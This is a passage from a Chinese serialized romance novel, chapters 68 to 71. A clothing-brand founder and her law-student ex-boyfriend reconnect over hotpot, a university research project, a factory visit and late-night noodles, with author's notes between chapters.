“咳,我不用了……”谈丹青搜肠刮肚地找理由,声音干涩,“物业只让我的车进来二十分钟。” 她佯装无所谓地低头看时间,后知后觉地看见自己戴的表还是绪东阳送给她的生日礼物。 那种无地自容的感觉更甚,忙将双手反背在身后。 绪东阳刚才抓谈丹青手的时候就看到了。 他垂下手,指尖发抖。 “我跟物业打电话。”他掏出手机拨号。 “走吧走吧,刚好一起。”王越桓煽风点火。 “刚刚谁怪我菜买多了的?我就说不多吧!”绪东阳一位爽朗的学姐直接上前,不由分说地一把挽住谈丹青的胳膊。 谈丹青身体瞬间僵硬得像块木头,想挣脱,却被学姐更紧地架住,半推半就地就被簇拥着往楼道里带。 * 踏入玄关的刹那,熟悉又陌生的气息扑面而来。 谈丹青的目光下意识地扫过门口鞋柜旁。 那儿确实散落了几双鞋,其中有一双米色的女士乐福鞋,款式简洁,看起来像是——学姐穿的。 紧绷的神经松懈下来,随即涌出一股更深的窘迫。 她刚才又误会了。 她仔细地环顾四周。 男生住的家,没什么审美和讲究,一切都是以实用至上。 绪东阳应该刚搬进来还没多久,只购置了桌椅和沙发。 客厅角落养了许多绿萝、薄荷,一丛丛绿色的叶片郁郁葱葱。 沙发旁边还有一台陌生的落地灯,位置是老位置,但样式却和以前不同。 她买的那盏是复古极繁南洋风,而绪东阳这盏,一看就是在楼下超市买的。 物是人非的酸涩感,无声蔓延。 “你们是放假来江城玩儿?”绪东阳和王越桓两人在厨房洗草莓,谈丹青在客厅和魏帆学长还有几位学生聊天。 今天来的其实不只是绪东阳的同学,还有同学家属。学姐就已经结婚了,老公是程序员。 “也不算旅游。”王越桓在厨房里扯着嗓子帮忙回答,“教授和魏帆学长有个课题研究,是分析小微企业的法律风险和防控,选了江城的几家企业做试点,我们是过来调研的。刚好阳哥说他家就在这边,而且房间很大,就让我们过来吃火锅打打牙祭。” “原来这样。” 学姐了解了一些八卦后感慨,“原来绪东阳跑前跑后的案子,就是丹青的公司呀。那个案子我也全程关注了,打得真漂亮。很多小微型企业对上行业龙头要吃闷亏,没想到这次是他们吃了鳖。” “丹青姐公司的那个案子我全程跟的,最开始真的就是个很小的案子。但是绪学长特别上心,天天在教学楼堵教授。” “他不只堵我们教授,还堵设计院的教授。设计院的老师都怕他了,还来跟我们教授告状。然后你猜我们教授说什么?” “说什么?” “我们教授说,他们公开课的章程里面本来就有问题,指出来还不肯改,该他们的!” “哈哈哈……” 谈丹青正端起一杯水,听到设计院几个字,手指猛地一颤,温水差点洒出来。难怪她明明没有参加结业考试,却还是收到了T大的证书。 她举起水杯,眼睛藏在杯沿后,看向厨房的方向。 隔着磨砂玻璃门,只能看到绪东阳模糊而挺拔的侧影。 一名小学妹兴致勃勃地说:“丹青姐的衣服品牌真的太好穿了!我现在里面穿的就是!待会儿丹青姐能给我签个名嘛?” 学姐大笑,说:“不是,你要人家签哪儿啊?直接签内衣带上吗?” “不行?” “行是行,就是这行为也太rapper了。” 一群人哄然大笑。 厨房里,王越桓开着水洗草莓。他摘掉草莓杆,偷吃了一枚,然后斜看了切菜的绪东阳一眼,压低声音说:“阳哥,现在是个什么情况?你给我透个底啊。不然我都知道该怎么帮你?” “什么底?”绪东阳说 “你说什么底?”王越桓嗛了一声,说:“你知不知道,你上次闹失恋,真的很吓人。我都怕你死宿舍了。你们现在到底好没好?好了后面会不会闹分手?” “不知道。”绪东阳说。 “不知道?”王越桓眉毛都飞了起来,“你又不知道了?刚刚你们在楼下没说开?” “没。”绪东阳说,他微顿,说:“但是她来我家了。” 王越桓有点无语地说:“她又不知道这里现在是你家。” “她见到我就跑。”绪东阳说。 以他对谈丹青的了解,谈丹青是个将自己的感情和感受藏得很深的人。 所以就算她是单纯想来故地重游,也绝不可能站在别人家门前掉眼泪。 除非……除非是真的太难过了。 难过到走回车上躲起来都做不到。 “她要是彻底放下了,不是今天这样子。”绪东阳沉声说。 王越桓叹了口气,说:“好吧,我也这么觉得,她肯定还喜欢你。那你打算怎么办?重新在一起?” 煤气炉亮起一圈淡蓝色的火。 分手的感觉太痛苦了。 像是将心扒出来放在火上慢慢烤。 这种滋味,他再也不想试一次了。 “这件事的决定权其实不在我。”绪东阳说。 “什么意思?”王越桓追问,手里捏着颗草莓都忘了吃。 绪东阳转身,目光沉沉地越过王越桓的肩膀,精准地落在客厅那个单薄纤瘦的身影上。 他喉结上下滚动,“能不能复合,要看她。她至少得知道,不能再像以前那样,遇到事就把我甩掉了。” 电磁炉发出轻微的嗡鸣,红油锅底很快翻滚起来,浓郁的辛香弥漫了整个客厅。 众人围坐在宽大的圆桌旁,筷子翻飞,笑语喧哗。 谈丹青也跟着大家一起吃饭聊天。她将一块毛肚在油碟里裹了又裹,小心地避开坐在她对面的绪东阳投来的视线。 正吃着,魏帆学长突然想到了什么,开口说:“对了,丹青,这次调研后续想选几个典型企业做深度案例追踪和帮扶试点,你们公司愿不愿意来当这个试点?你们从困境突围的路径太有代表性了。” “我现在不在江城了。”谈丹青解释。 “不在也没事啊,”魏帆说:“你们也是从江城走出去的企业嘛!不过如果是因为最近太忙没有时间帮忙,那就不勉强了。” “怎么会?”谈丹青说:“对你们,我当然随时有空,全力支持。” 当初她在吕力鼎眼皮子底下金蝉脱壳的时候,全靠魏帆给他们保驾护航。她不可能因为跟绪东阳现在有点尴尬,就拒绝魏帆的这么一点要求。 魏帆点点头:“好!那就这么定了!” 他目光在桌上逡巡,几乎是理所当然地落到了绪东阳身上。毕竟这个案子从头到尾,绪东阳投入的心血无人能及。“后续具体的对接和深度访谈,就绪东阳负责跟进你们公司?他对前期情况最熟。” 话音一落,一时谁都没说话。 饭桌上气氛微妙。 王越桓刚夹起的藕片“啪嗒”一声掉回了油碟里。 谈丹青也下意识后背一僵。 她没抬头,却能清晰地感觉到,桌子对面一道沉甸甸的、不容忽视的目光,像实质般压在了她身上。 魏帆很快察觉了异样,“怎么了?这个安排不太行?” 绪东阳放下了手中的筷子。 声音不高,却异常清晰、平稳:“公司背景和关键节点我最清楚,由我负责对接,效率最高,也最能保证案例的深度和准确性。” 视线不着痕迹地扫过对面的谈丹青,然后挂着淡笑,悠悠地说:“我没什么不行。” 【作者有话说】 特地研究了一下,通常情况下卖卖二手房的合同中会要求吉屋出售,也就是空屋出售,以避免一些麻烦纠纷,除非特意提要求不需要动家居。以绪东阳当时的状态,他就算想保留房子的原样,也不会在合同中特意说明,因为太明显了。所以交易时房子就不得不清空了……当他回来,看到屋子里空荡荡的心情也是[爆哭][爆哭][爆哭] 69 第69章 ◎谈丹青,你不要想太多。◎ 绪东阳那边一口答应,压力瞬间给到了谈丹青。 谈丹青顶住桌对面那道针扎似的目光,巧笑嫣嫣,说:“我当然也没问题呀。看你们安排了。” “好,那太好了!”有了谈丹青点头,魏帆便当场敲定。 其他人也笑了起来,继续吃吃喝喝。 魏帆仍没弄清楚年轻人的恩怨情仇,自以为幽默地开了个玩笑,对谈丹青说:“丹青,那我们的绪东阳,可就交给你了啊!” “呵呵,那……敢情好……”谈丹青笑得脸都有些发僵了。 * 吃完饭,魏帆学长有事先走。 其他人开始收拾桌椅杯盘,谈丹青帮着将一叠脏盘子端回厨房。 厨房门半敞,水流声淅淅沥沥。 深色木窗棂前,一排绿油油胖嘟嘟的多肉翠嫩欲滴。 她一眼就看见了绪东阳。 他背对着门口,俯身在水池边处理碗碟。 透明的水流冲过他修长的手指,腰背微微弓着。单薄的黑色居家T恤下,嶙峋的肩胛骨随着清洗的动作清晰地起伏、收拢,像一只振翅欲飞的羽蝶。 谈丹青的脚步仿佛被无形的一根线绊住,停在了门口。 地点仍是相同的地点。 人也仍是故人。 时光好像一条永远奔腾向前,绝不回头的河流,带走许多许多东西,唯独没有带走回忆。 厨房水龙头继续淅淅沥沥淌着水。 绪东阳似是有所察觉,动作一顿,回过头。 谈丹青端着那叠盘子,进也不是,退也不是,僵在了原地。 手中白瓷盘质感冰凉,顺着指尖往上蔓延,一路凉到了心口。 绪东阳眼中闪过一瞬错愕,但很快就被更深的、更难以辨别的情绪掩盖。 他的目光在她脸上微一顿,随机嘴角轻扯,挂上一副“我又不会把你怎么样”的表情。 然后,他侧身往左让了一步,留出半只水槽。 谈丹青佯装淡定,快步将手中的盘子放进水池,然后拧大水龙头,学着绪东阳的样子,冲洗碗上的食物残渣。 两人谁也没开口说话,埋头安静洗碗。 “有洗洁精么?” “你的左手边。” “抹布?” “右边。” 手中的盘子终于洗干净了,谈丹青踮起脚尖,手臂高高举起,要将碗盘放进头顶一排吊柜里。 他们以前的锅碗瓢盆就这么放,现在一打开柜门,果然也是个老位置。 几乎是同一时刻,绪东阳侧身要取放在她这一侧的干净毛巾。 两人一个往里一个往外,在狭窄的空间中贴在一起。 绪东阳个子比她高出一个头,看她时他需低头敛眸,单薄的眼皮上眼睫浓黑似墨,覆盖下来宛若一片茂盛的黑色森林,掩在了深夜黑色的湖泊上。 她猛地往后缩,想躲开绪东阳身躯。 但身后就是案板,水果刀没来得及收拾,散乱地放在上面。 绪东阳瞥见,立马将她的腰揽住,往自己怀中嵌。 他的手残留着未擦干的白色透明泡沫,湿漉漉地印在了她后腰最凹陷的曲线上,凉得她一个机灵。 后背结结实实地撞上他坚硬温热的胸膛。 呼吸声在骤然死寂的厨房里被无限放大。 急促、粘稠,若即若离。 湿漉漉的水汽弥漫开来,柠檬薄荷的洗碗液,还有夏天嗡嗡作响的闷热。 谈丹青本能地昂起头。 看见绪东阳干燥白皙的下颌上,有一圈淡淡的青。 那是刚刚冒出的极浅的胡茬。 胡茬这种富有男性特征的东西,瞬间令她想起了以前曾有过的亲昵。 他那时好喜欢抱着她亲,她越说讨厌他的胡茬,他越要用胡茬擦她的脸。微硬的、存在感强烈的粗糙,蹭刮着她的脸颊,痒又战栗。 “抱歉。”绪东阳的声音在头顶响起,也几乎是同时松开了手。 他往后让了一步,拉开彼此之间的距离。 手垂在身侧,食指用力地搓着拇指。 指尖又滑又腻,像附着了一层粘稠的糖浆。 “洗好的盘子给我吧。”他的语气听起来是惯常的平静。 “嗯,好。”谈丹青将盘子递给他。 绪东阳沉默地接过,手臂抬起,干脆利落地将盘子稳稳地送进了高处的吊柜。 最讨厌的洗盘子终于完成,这厨房小得令人缺氧,谈丹青转身就要走。 “谈丹青。”脚步刚抬,就听到绪东阳在身后叫她,说:“聊聊。” 谈丹青转过身,说:“聊……什么呢?” 绪东阳眼神沉沉地落在谈丹青的眼睫上。 她的眼睫长而卷曲,盛着厨房顶灯投下的光。 眼睫在颤,那光便也在颤,将她白皙的脸照得明是明,暗是暗。 “放心,”绪东阳牵拉嘴角的肌肉,扯上一抹无所谓的淡笑,带了点自嘲的味道,说:“我知道公私分明,只问项目上的事” “嗯。”谈丹青点点头,答应下来。 公私分明这四个字,入耳真不好听。 不过也是,他们之间,大概除了公事,也没什么可谈的了。 在绪东阳家里聊天,无论公事私事,都感觉别扭,绪东阳多半也意识到了这一点,提议收拾好就去找个安静的咖啡馆或便利店。 暮色四合。 黄昏如同稀释的青烟,无声地从天际线弥散开来,一层一层地浸染着白日残留的亮色。 远处的楼宇轮廓最先模糊,融化在一种温柔的灰蓝色里。 世界仿佛被按下了慢放键,车流声、人语声都退成了模糊的背景音。只有脚下踩过落叶的轻微脆响。 两人一前一后,相隔几步,沉默地走在人行道上。 影子被拉得细长,在脚下铺开,偶尔交错,又迅速分开。 家楼下的便利店依旧亮着熟悉的白光,门楣上那点暖黄在渐深的夜色里显得格外亲切。 店内陈设依旧是记忆里的模样,只是那些花花绿绿的即食货架上,多了许多她还没尝试过的新品种,“芝士火鸡”、“黑糖麻薯”……琳琅满目。 谈丹青看得兴致勃勃。 她到处转到处看,绪东阳不远不近地跟在她身后几步,目光沉静地落在她微微低垂的后颈上。 直到转了小半圈,谈丹青才注意到绪东阳手里已经拎着一个沉甸甸的购物篮,里面塞满了各种零食、饮料、饭团,甚至还有几盒泡面。这分量,对于刚刚结束的那顿丰盛火锅而言,也太超过了。 “你刚才没吃饱?”谈丹青带着点真实的困惑,脱口而出。 绪东阳看了她一眼,说:“我心里有事的时候,吃不下。这个新口味不错。” “哦。”谈丹青应了一声,目光飞快地从他脸上移开,落回货架上, 密密麻麻的商品说明,突然变得极其重要。 “你呢?”绪东阳从货架下拿下一只饭团,转过身,目光平静地锁住她有些游移的视线。 “我?”谈丹青几乎是立刻竖起了一道无形的盾牌,下巴微抬,反驳道:“我心里有事也能吃得特别香。” 绪东阳没接她关于“有事”的茬,只是将那只金枪鱼饭团朝她递近了一点,语气依旧平稳无波,清晰地更正道,说:“我是说,你要不要这个饭团?” “啊?哦……”空气静了一瞬,谈丹青才意识到自己会错了意,她飞快从绪东阳手中拿走饭团,说:“那我也吃这个……” 两个人在便利店玻璃窗前的长椅坐下。 等泡年糕的时候,绪东阳问她:“你公司现在怎么样?” “已经步上正轨了。你呢?”谈丹青似是随意地问:“快毕业了吧。” “是,”绪东阳说:“我也很好。” “那就好。”谈丹青说。 她百无聊赖地戳着糯叽叽年糕。 在她的预想里,她总觉得绪东阳这会儿就该出国了,他们绝不会像现在一样一起吃年糕。 绪东阳说:“那个交流计划,最后张鹏去了。” 谈丹青微愣,轻轻“哦”了一声。 “他入选后的那一周,我们只能看见他鼻孔。”绪东阳用开玩笑的语气说。 这形容太符合张鹏的性格了,谈丹青会心一笑。 笑着笑着,又觉得自己的笑似乎有些不合时宜,于是又轻轻抿了抿唇。 没有重点地闲聊了十来分钟,年糕泡好了。 绪东阳揭开盖子,一片*雪白色的雾气升了起来,遮住了他的半张脸。 他慢慢咀嚼,说:“你公司其实很需要靠谱点的律师,今天吃饭的那名学姐很厉害,你可以考虑一下雇请她。” “她是高材生吧,”谈丹青说:“我现在公司开不了这么高的薪水。” 绪东阳说:“她爱人在江城,所以她后面会在江城长期发展。她有自己的律师事务所,不会只给你们公司当法务,相当于顾问。如果有麻烦的案子,可以咨询她;平时的日常法律事务,就由公司现在的法务处理。这件事我跟她提过,她很喜欢你们品牌,说很愿意跟你们谈一谈。” 之前吃的亏一直是谈丹青心头的一根刺。她早就想雇知名律师,但是公司如今财务状况还承担不起,所以一直在犹豫。听绪东阳的语气,学姐这边已经十拿九稳。这绝不可能是一顿饭就敲定下来的。更像是这顿饭是表达感谢地一部分。绪东阳在此之前,已经做妥了游说工作。 谈丹青想明白了什么,说:“所以你今天请她来家里做客?” “也不全是。大家刚好都在这边,就一起聚了聚。”绪东阳说。 软糯的年糕不仅粘牙,还粘喉咙。 谈丹青的眼睛又开始发涩,她埋下头,继续咬着年糕。 然后听到绪东阳说:“你也没必要,觉得我做这些全是为了你。” “跟你没关系。”他平淡地说。 “我不去那次交流计划,是因为不符合我的未来规划;我买你的房子,是因为我从家里搬出来了,没地方住;我跟学姐提你,也是为了给我自己做人情。谈丹青,你不要想太多。” “嗯。”谈丹青咽下年糕,说:“我不会自作多情的。” “对了,”在沉寂的间隙里,她接着说,“我的结业证书收到了,谢谢你。” “没事。”绪东阳淡淡地点了点头。 简单吃完年糕,两人沉默地出来。 走到谈丹青的车前,绪东阳说:“考虑好了跟我说一声。” 他顿了顿,又补充道:“在微信上说也行。” 谈丹青喉头发紧,点了点头,“好。” 踩下油门,谈丹青朝后视镜瞥。 绪东阳没立刻走,在原地站了一会儿。 谈丹青一边看后视镜一边看路,有些走神。开到保安亭,想起来外来车辆该缴费,忙踩刹车。 “缴费?不用啊!”门卫说:“不是已经办了么?” “办了?” “嗯,临停改户主嘛,你男朋友刚刚打电话跟我说了!”门卫说:“早上嘛,我怎么会不让你进来。” “谢谢了。”谈丹青笑笑,说:“这个车牌号不是我的,我把新车牌发你吧。” “没问题。” * 回家后,绪东阳躺在铁架床上,手背遮住眼皮反复咀嚼着他们见面的每一个瞬间。 今天发生的一切来不及消化,谈丹青在门外的泪迹斑斑的脸,在车前的拉扯,厨房里意外的拥抱,还有刚刚谈丹青吃年糕时,嘴唇上淡淡的红…… 谈丹青看起来这段时间也不好过,以前已经很瘦了,如今更是单薄。 他忽地什么都不怨恨了,在宿舍被掏心窝子的几日是怎么捱过去的全忘了。只是在仔细地琢磨,这段时间谈丹青到底背着他吃了多少苦。 枕旁手机忽然震动,绪东阳拿过来看了眼。 谈丹青给他发了一条地址。 Tdq:【明天我要去这家工厂监督布料染色。你要过来吗?】 两人刚刚重新联系,气氛生疏。 每敲下一行字,都要反复斟酌语气。 是不是太亲密了?是不是太客气了? Leo:【我过来。】 Tdq:【ok。】 Leo:【明天见。】 Tdq:【嗯,明天见。】 初步定下明天行程安排后,两人都没有放下手机,但也都没有说话。 【作者有话说】 [让我康康] 70 第70章 ◎晚安◎ 第二天清晨谈丹青刚起床,就收到绪东阳的消息。 Leo:【早。】 Leo:【我开车过来接你。】 谈丹青心头莫名一跳,小女生似的快步走到窗边探身往下望。 酒店楼层太高,从她房间的角度什么也看不见。 以前一直是她开车接送弟弟们到处跑,如今换成绪东阳接她,这感觉有点怪。说不上好,也说不上不好,只是两人间似乎更平等了,没有谁应该照顾谁,像普通朋友一样。 她飞快发了条消息。 Tdq:【我马上下楼。】 Tdq:【车牌号多少?】 黑色的小车安静地停在地下车库,不是令人眼前一亮的豪车,但很实用。 上车后,谈丹青系安全带。 副驾驶座在她之前坐的应该是个男人,位置被调得很靠后。她坐着不习惯,需要探身才能勉强够到插扣。第一次扣的时候,金属铁片擦着边缘滑了过去,没能扣上。 “我来。”绪东阳倾身过来帮她。 他身上的柠檬味飘近,清爽又带着一丝难以言喻的侵略感。 “先调一下座位吧。” “嗯……” 谈丹青的手摸索着往下探,终于摸到座位调节钮,轻轻一拨,车背猛地前推,两人挤在狭窄的副驾驶室中,伴随“咔嗒”一声轻响,安全带稳稳扣住。 “好了。”绪东阳如释重负地直起身。 头皮传来一阵尖锐的拉扯感,谈丹青倒抽一口凉气,刚刚两个人挤在一起,她有一缕头发缠在了绪东阳运动外套的金属拉链头上。 这又算什么事? 谈丹青捏着发丝乱拽。 “别扯。”绪东阳身体保持着微倾的姿势,温热的手指小心翼翼地探向她的发根,试图解开那个纠缠的结。 绪东阳的手指一碰到她的头皮,细微的电流从指尖扩散。 一阵发麻。 “算了算了,直接扯了吧。”谈丹青有些不耐烦。副驾空间太小,绪东阳碰她头发的动作,让她很紧张。 “你拽得我看着都疼,”绪东阳拧眉说:“马上就解开了。” 谈丹青侧着头保持不懂,屏住了呼吸。 她的脖子扭着,视野受限,只能看到绪东阳的下颌和那几根在她发间穿梭的手指上。他的喉结近在咫尺,随着动作微微滚动。 时间仿佛被拉长,引擎未启动的车厢里,只剩下两人细微的呼吸声和发丝被解开的细微窸窣。 终于,发丝顺从地脱离了拉链。 “好了。”绪东阳无声地松了口气,坐回驾驶座。 绪东阳点火,踩油门,打方向盘。 车驶出去后,他淡淡地说:“不好意思,我的车没有你的大。” “我回江城没开车,”谈丹青说:“那辆车是我找人借的。” 她好奇地四处看了一圈。绪东阳将车收拾得很干净,没有任何异味,也没有任何装饰。 “这是你的车?挺舒服的。” “是。”绪东阳说:“实习,做项目,都发工资,就慢慢置办了起来。” 他顿了顿,说:“我没再去打拳。” “哦,”谈丹青说,“那,那挺好的……” 她差点要脱口而出——“你真的长大了。” 但又觉得这句话很奇怪,也很没有立场。 空调送出微凉的风,车子平稳地汇入清晨的车流。 两人都没开口说话,谈丹青不太受得了这种尴尬的沉默,没话找话道:“你过来吃早饭了吗?” “吃了,”绪东阳目光落在前方,单手扶住方向盘,从车载支架下拿出一小包散装面包。 谈丹青接过,说:“我也吃过了。” 大概绪东阳也觉得车内气氛太硬,他伸手打开了车载收音机。手指划过几个频道,嘈杂的人声一闪而过,最后停留在一个音乐台上。 “接下来是金曲串烧,请大家欣赏《一生有你》。希望这首歌,陪伴大家一路……” “多少人曾……” 第一个音符飘出来,绪东阳的手指几乎是条件反射般地按下了暂停键。 沉默再次卷土重来。 比之前更显沉重。 “现,现在挺复古音乐的。”谈丹青啃着面包说。 绪东阳直视前方,平静地看向窗外飞逝的街景,说:“如果实在不知道要和我说什么,其实不说话也没关系。” * 工厂区的清晨,有一股特有的,混杂机油、棉絮和尘埃的味道。 谈丹青走在厂房里,穿着简单的T恤和帆布鞋,头发随意挽起,露出纤长而白皙的脖颈。 她是这儿一眼扫过去,唯一看见的女孩儿,背影看起来单薄瘦小。 虽然在个头上不占任何优势,但工厂里的老师傅却很是服她。 绪东阳听到有人这么评价:“小谈老板是最难搞的,见她要打起一百二十分的精神。” “这次颜色很正了,”谈丹青和经验丰富的老师傅门围在一批刚染好的布样前,拿布样和色卡对比。 “稳定性怎么样呢?”谈丹青问。 “稳定性倒是个麻烦,”工厂老师傅说:“流程和温度都有专人负责,但是你们的要求太高了,我们的固色剂不行。” “这不是问题,”谈丹青声音淡定,说:“我再跑几个固色剂的工厂。” 谈丹青和老师傅们说话,绪东阳站在稍远一点的地方,安静地观察着。 他并非布料专家,那些专业的术语和细微的色彩差异超出了他的领域。 但他看得懂谈丹青。 挺直的脊背,专注时微微抿起的嘴角,她和老师傅沟通时流露出的那份专业而真诚的尊重,以及成功确认布样后,眼中一闪而过的明亮光彩和放松。 这份光芒和在专业领域里专注和投入,让他再次移不开眼,也挪不动步。 他又想起来,自己曾经为什么那么迷恋谈丹青。 那是他们两人第一次吃烤鱼,谈丹青向他讲起了她的梦想和未来,手舞足蹈,眼如星辰。 就是那一刻,他从见色起意,变成了钟情。 谈丹青在工厂忙,绪东阳四处采访工厂负责人了解一些情况。每次聊天前,他都拆盒烟递过去,或者提一箱水,送来这些小礼物,大家也愿意多说几句。 和一名工厂工人聊完,那人忽地说:“对了,你跟小谈老板一起的吧,她东西忘门卫亭这儿了!你帮着拿给她咯。” “好。”绪东阳接过去一看,那是谈丹青的画册。 这本画册很新,落在了他手里沉甸甸的。 画最能体现人的心情。开心时色彩浓烈,悲伤时色彩灰暗。 他有些想知道谈丹青在和他分开之后,笔下的世界又是什么样的颜色。 带着下作的窥探欲,绪东阳不经过谈丹青的允许,就擅自翻开了画册的第一页。 意外的是,那本崭新的画册,除了几页凌乱的线条。 什么也没有。 不知为何。 绪东阳突然有些心疼。 * 深夜的街角,昏黄的白炽灯下,简陋的面摊支着几张矮桌。 锅里翻滚着白色的热气,散发出浓郁的骨汤香气。 谈丹青和绪东阳两人对坐在小马扎上,面前各摆着一碗热气腾腾的汤面。 疲惫让空气变得安静,白天的喧嚣褪去,只剩下吸溜面条的轻微声响和远处偶尔传来的、模糊的车鸣。 累了一天,身体疲惫,但也奇异地消弭了某些刻意维持的距离。 太累了,没力气尴尬了。 “魏帆让我好好照顾你,你可别怪我不请你吃大餐,”谈丹青说:“工厂这儿没什么饭店。” “面条也很好吃。”绪东阳说。 “那是当然,”谈丹青说:“给你点的是最好吃的三鲜面呢!” 谈丹青咽下一口面条,胃里被暖汤熨帖着,紧绷了一天的神经终于得以松懈:“今天你挺无聊的吧?跟着我在厂区转了一天,调研需要的资料收集够了吗?” “嗯,收集到了。”绪东阳的声音在氤氲的热气里显得比平时柔和,“我跟工厂负责人聊了聊,他们平时签的合同,有时候也会遇到很不规范的条款导致跑单,也很头疼,这些信息都很有价值。” “那就好。”谈丹青满意地点了点头。 疲惫的身体被热汤熨帖着,紧绷的心弦也在深夜街头的烟火气里,不知不觉放松下来,聊得越来越随意。 “你找不到那种固色剂,会很麻烦吗?”绪东阳问她。 “说实话,”谈丹青说:“其实挺麻烦的。没有固色剂,布料颜色就不稳定,染出来的用不了都是成本……” 她一说起专业上的事就口若悬河,而绪东阳又总是不知道打断她。 “嗨,但是没事儿,总有办法的。”她及时止住,冲他笑,眉眼弯弯。 隔着碗中的白雾,绪东阳久久地回望着谈丹青。他不由想,他们分开的时候,她也是抱着这种自己给自己打气的态度度过的吗? 绪东阳这次看她看得太久,谈丹青脸皮发热,低下头,大口吃面。 有件事在她心里盘旋太久,再不问,怕以后没机会问。 “绪东阳,”她轻声说,“我一直很好奇,当初你为什么选专业的时候会选法学?” 谈丹青继续组织着语言:“我以前不知道你们还有什么学科鄙视链,我觉得读大学已经很牛了。 “后来是偶然听谈小白开玩笑,才知道理科生鄙视文科生,所以很少有理科转文科。你当时理科成绩那么好,为什么要去学法学?” 昏黄的路灯透过简陋的雨棚缝隙,在绪东阳脸上投下斑驳的光影。他缓缓放下筷子,平静地看着她。 “当时我没想太多,”绪东阳说:“就想学点本事,以后能够保护自己想保护的人。” 他说得很慢,很清晰。尤其是最后半句,自己想帮助的人,字音被他咬得格外重,带着一种沉重的分量。 “可能我那个时候的确太年轻了吧,不知道有些事不是我想的那么简单。” 吃完面,绪东阳很自然地扫码付了钱。两人起身吹着夜风往回走。 夏夜晚风微凉,闲适而静谧。 绪东阳说:“我车在那边,送你回去。” 谈丹青看着路灯下他挺拔的身影被拉出长长的影子,那句几乎成为本能的“不用了”在舌尖打了个转,最终被咽了下去,“嗯。” 她拉开车门坐了进去。 车子启动,融入城市的霓虹。 “明天去哪儿?”绪东阳握着方向盘,目视前方问道。 谈丹青看着窗外流动的光影,沉默了几秒。“明天你不用跟着吧。” “怎么?”绪东阳没有看她,目视前方,但语气里带着一丝不易察觉的刻意。 “明天要见的人,不太方便我去?” “不是……”谈丹青被他这突兀的“想歪”弄得有些无奈,解释道,“我不是还要找那种天然固色剂么?李师傅给了我一个地址,在城郊,特别偏。过去路不好走,而且不一定能立刻找到,纯粹是碰运气。你跟着过去,可能也收集不到多少对你项目有用的素材,白跑一趟。” “没事,”绪东阳的声音恢复了平稳,听不出情绪,“明天几点出发?” “要很早,”谈丹青说,“六点。” “好,”他回答得干脆利落,没有一丝犹豫,“我来接你。” 谈丹青微微顿了顿。车窗外,路灯的光影快速掠过她的脸庞,她轻轻地应了一声:“那也行。” 回去的路途似乎比来时快太多,她好像没有和绪东阳在一起待多久就到了她的酒店楼下。 绪东阳送她下了车,谈丹青说:“那我先上去了。” “东西别忘了,”他将谈丹青的画册换给了她。 “瞧我这记性!”谈丹青接了过去。 后来……怎么不画了? 这个问题压在绪东阳喉间。 但他知道现在还不是他能问的时机,喉结无声地滚动了一下,开口道:“晚安。” 谈丹青紧紧抱住画册,像抱着一面保护自己的盾牌,也说了一句:“嗯,晚安。” 【作者有话说】 贝贝们别着急!两人很快就会破镜重圆啦! 一些情绪的铺垫还是要到位! 这篇文也不长,只剩下两三万字了。 70-76 71 第71章 ◎避雨◎ 怀抱着沉甸甸的画册回到酒店,一股暖洋洋的疲惫感在谈丹青四肢里蔓延开。 累,却累得舒服。 累里包裹着巨大的满足感。 这种感觉大概除了叫“累”,还叫“充实”? 简单洗漱,敷上一片冰凉紧致的补水面膜,谈丹青把自己扔在床尾,倒着躺下,任由湿漉漉的发梢垂落床沿。 等头发晾干的时刻,谈丹青回想着今天与绪东阳相处的点滴。 和绪东阳在一起,关键词也是“舒服”。 不需要一句话里藏八百个心眼、不需要反复确认彼此的步调。 她只用沉浸在自己的思绪里往前走,偶然停下脚步回头,像过去无数次那样,他一定站在三五步外,隔着恰到好处的距离,目光安静地罩在她身上。 可这次…… 似乎又有些东西不同了。 以前绪东阳也沉默内敛,但那时他自尊心太强,总带着股少年人的拧巴劲儿。因为年纪小,便格外在意姿态,处处想显得比她更成熟、更可靠,甚至不惜在她面前端出大男子主义的架子,连声“姐姐”都梗着脖子不肯叫。 殊不知,人越是用力彰显什么,内心往往越缺什么。那份刻意为之的“成熟”,反而暴露了底气的不足。 想了一会儿,手机响了,是郑芳:“我这边终于忙完啦!明天你要去的那个工厂太太太远了,你一个人怎么去啊,你等我一天,我飞江城陪你一起,或者我另派个人过来。” “没事的,”谈丹青说:“明天……我跟绪东阳一起去。” “谁?”郑芳声音陡然抬高,“谁?你跟谁?” 在郑芳追问下,谈丹青不得不大声又念了一次绪东阳的名字,“绪东阳。” “到底怎么回事啊?”郑芳催促道:“你快跟我讲讲啊,你这个不讲义气的。” 谈丹青将事情经过简单说了,郑芳那头“嘶”了一声,说:“还真是太巧了……你要是不去,怎么会知道房子是他买下来的。” “其实也不一定,”谈丹青说:“我还一直挺想认识认识新房主。这次不见,说不定后面也会见到。” “那,你们现在算是要复合了?”郑芳问。 谈丹青叹了口气,说:“复合,我觉得是不太可能了。” 心口一抽一抽地泛着疼,她有点说不下去,“我当时为了跟他分手,话说得特别狠。挺伤人的。比起复合,我现在其实更想跟他道个歉吧。” “我反而觉得,你们复合挺简单,只是你点个头的事。”郑芳却这么说道。 “不可能。”谈丹青斩钉截铁:“你当时不在,你不知道我说了什么。” 郑芳说:“他要是不愿意,怎么可能跟你一起做调研项目。” “是他们学长安排的,当时桌上人也多,他推不了。”谈丹青说:“他事后跟我说,他只跟我谈公事。” “那他也可以吃完饭,单独跟他学长说明情况啊。只要他想推,不可能推不掉。”郑芳说。 谈丹青一时无法反驳。 “绪东阳又是傻。”郑芳接着说:“你当时的情况,谁看不出来分手是迫不得已?就算他当时气懵了没回过味儿,现在肯定也琢磨上来了。要我说啊,问题压根儿不在他那边。” “难道在我这儿了?”谈丹青说:“我脾气挺好的啊?” 郑芳说:“你那性格,当老板的确是没话说。但是谈恋爱又不是开公司,你不能什么都一个人顶着。感情是相互的,光你一个人使劲儿算怎么回事?你得给别人一个靠近你的机会。” 郑芳的话,倒让谈丹青想了很久。 不被保护的过往,让她实在不知如何建立起一段这么亲密的关系。 她骨子里带了巨大抗拒,仿佛一旦承认需要,便是示弱了。 脑子转了几圈,也没转出个结果。 谈丹青索性让大脑放空,摸过手机,点开小号:【今晚的三鲜面】 配图:【两大碗满满当当、料足汤鲜三鲜面。】 评论区像刚揭锅的面汤,咕嘟咕嘟冒起泡来: “传下去,宫里要上新了。” 谈丹青指尖飞快:“别传了,新品还没有确定!” 粉丝A:“???” 粉丝B:“新牌子质量样式都绝了!就是上新速度……求求了姐姐,学学以前吧!!!” 